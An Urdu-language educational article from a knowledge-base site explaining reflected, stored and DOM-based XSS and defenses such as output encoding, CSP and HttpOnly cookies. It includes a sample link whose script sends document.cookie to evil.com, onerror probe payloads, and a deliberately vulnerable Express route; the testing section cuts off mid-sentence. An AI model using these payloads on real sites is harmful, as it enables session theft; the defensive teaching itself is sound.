arrow_backفیلڈ نوٹس پر واپس جائیں
WEB SECURITY شائع شدہ 9 Aug 2026

Cross-Site Scripting: XSS 2024 میں بھی کیوں کاٹتا ہے

Reflected، stored، اور DOM-based XSS کا عملی تجزیہ، حملہ آور انہیں کیسے استعمال کرتے ہیں، اور انہیں حقیقی طور پر کیسے روکا جائے۔

XSS دو دہائیوں سے OWASP Top 10 میں ہے اور یہ ابھی بھی وہ پہلی چیز ہے جو ایک pentester چیک کرتا ہے۔ یہ bug سمجھانے میں سادہ ہے اور مکمل طور پر بند کرنے میں مشکل ہے: ایک حملہ آور اپنا JavaScript اپنی سائٹ کی اصل کے تحت ایک متاثرہ شخص کے براؤزر میں چلا دیتا ہے۔ ایک بار ایسا ہو جانے کے بعد، وہ cookies پڑھ سکتے ہیں، درخواستیں جعل کر سکتے ہیں، یا صرف صفحہ کو صارف کے سامنے دوبارہ لکھ سکتے ہیں۔

تین اقسام

Reflected XSS کلاسیکی phishing-link حملہ ہے۔ ایک تلاش کا صفحہ URL سے ?q= لیتا ہے اور اسے HTML میں سیدھا پرنٹ کر دیتا ہے بغیر encoding کے۔ کوئی شخص کو https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> جیسی link بھیجیں اور اگر وہ لاگ ان ہونے کی حالت میں اس پر کلک کریں، تو ان کا سیشن cookie حملہ آور کو چلی جاتی ہے۔

Stored XSS بدتر ہے کیونکہ اسے link کی ضرورت بھی نہیں۔ ایک comment فیلڈ، ایک profile bio، ایک support ticket کی تفصیل — کہیں بھی user کی input محفوظ ہو اور بعد میں دوسری صارفین کو دکھایا جائے۔ payload کو ایک بار post کریں اور ہر وہ visitor جو اس صفحے کو دیکھے، hit ہو جائے، کوئی social engineering ضروری نہیں۔

DOM-based XSS مکمل طور پر client-side code میں رہتا ہے۔ server کو کبھی بھی malicious payload نہیں دیکھتا؛ یہ JavaScript کچھ جیسے location.hash یا document.referrer پڑھ رہا ہے اور اسے innerHTML یا eval() میں ڈال رہا ہے۔ یہ لوگوں کو الجھاتا ہے کیونکہ server-side logging بالکل صاف لگتی ہے۔

یہ واقعی کہاں سے آتا ہے

زیادہ تر XSS bugs ایک غلطی تک آتے ہیں: غیر معتبر data کو معتبر markup یا code کے طور پر سلوک کرنا۔ JavaScript میں دیکھنے کے لیے عام sinks: innerHTML، outerHTML، document.write، eval، setTimeout string argument کے ساتھ، اور jQuery کا .html()۔ server کی طرف سے، template engines جو default کے لحاظ سے auto-escape نہیں کرتے (raw string concatenation HTML میں) عام مجرم ہیں۔

ایک تیز حقیقی دنیا کی مثال: ایک Node/Express app کر رہا ہے

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

فوری reflected XSS ہے۔ req.query.name صفر encoding کے ساتھ response میں سیدھا جاتا ہے۔ کوئی بھی /greet?name=<img src=x onerror=alert(document.domain)> کو hit کرنے والا اسے لگ بھگ دو سیکنڈ میں ثابت کرتا ہے۔

اسے حقیقی طور پر ٹھیک کرنا

Context-aware output encoding حقیقی حل ہے، کوئی workaround نہیں۔ HTML body، HTML attribute، JavaScript string، اور URL contexts میں سے ہر ایک کو مختلف encoding rules کی ضرورت ہے — OWASP's Java Encoder جیسی library، یا Jinja2، React JSX، یا Handlebars جیسے template engines میں built-in auto-escaping، یہ صحیح طریقے سے ہینڈل کرتے ہے۔ React خاص طور پر text content کو default کے لحاظ سے escape کرتا ہے، یہی وجہ ہے کہ dangerouslySetInnerHTML کا نام اس طریقے سے ہے: یہ ایک warning label ہے۔

Input validation میں مدد ملتی ہے لیکن اپنے آپ میں کافی نہیں۔ <script> tags کو denylisting مسلسل bypass ہو جاتا ہے — <img src=x onerror=...>، <svg onload=...>، یا تقریباً کسی بھی tag پر event handlers تمام کام کرتے ہیں۔ Allowlisting متوقع formats (ایک email regex، ایک numeric ID) بطور secondary layer ٹھیک ہے، لیکن یہ صحیح output encoding کی جگہ نہیں لیتا۔

Content-Security-Policy دستیاب سب سے مضبوط defense-in-depth layer ہے۔ جیسی policy

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

inline scripts اور third-party script sources کو blocks کرتا ہے جب تک کہ explicitly nonce'd یا allowlisted نہ ہوں، جو زیادہ تر XSS payloads کو executing سے روکتا ہے یہاں تک کہ اگر وہ encoding کو پار کریں۔ Production CSPs میں unsafe-inline اور unsafe-eval سے بچیں؛ وہ protection کے بیشتر حصے کو شکست دیتے ہیں۔

Cookies کو HttpOnly اور Secure flags کے ساتھ set کریں تاکہ ایک کامیاب XSS بھی document.cookie کے ذریعے سیشن cookie کو سیدھا نہیں پڑھ سکے۔ یہ injection کو روکتا نہیں ہے لیکن یہ blast radius کو نمایاں طور پر محدود کرتا ہے۔

خود اس کے لیے ٹیسٹنگ

Burp Suite کا active scanner بہت سے reflected اور stored XSS کو خودکار طور پر catch کرتا ہے، لیکن manual testing ابھی بھی DOM-based cases کے لیے معاملات میں۔ DOMPurify's اپنے test suite جیسے tools یا سادگی سے اپنے codebase کو innerHTML = اور eval( کے لیے grepping حیرت انگیز تعداد میں findings کو تیزی سے سطح پر لائے گا۔ ایک manual probe کے لیے، payload `

AI کی مدد سے لکھا گیا، Michal Pilch (CISSP)، Korra Studio کے ذریعے جائزہ لیا گیا اور شائع کیا گیا۔

آگے بڑھنے کے لیے تیار ہیں؟

یہ Korra Studio کے علم کے ذخیرے کا ایک نوٹ ہے — یہ پلیٹ فارم ہر موضوع کو ایک سے ایک رہنمائی کے ساتھ جوڑتا ہے۔

مفت شروع کریںarrow_forward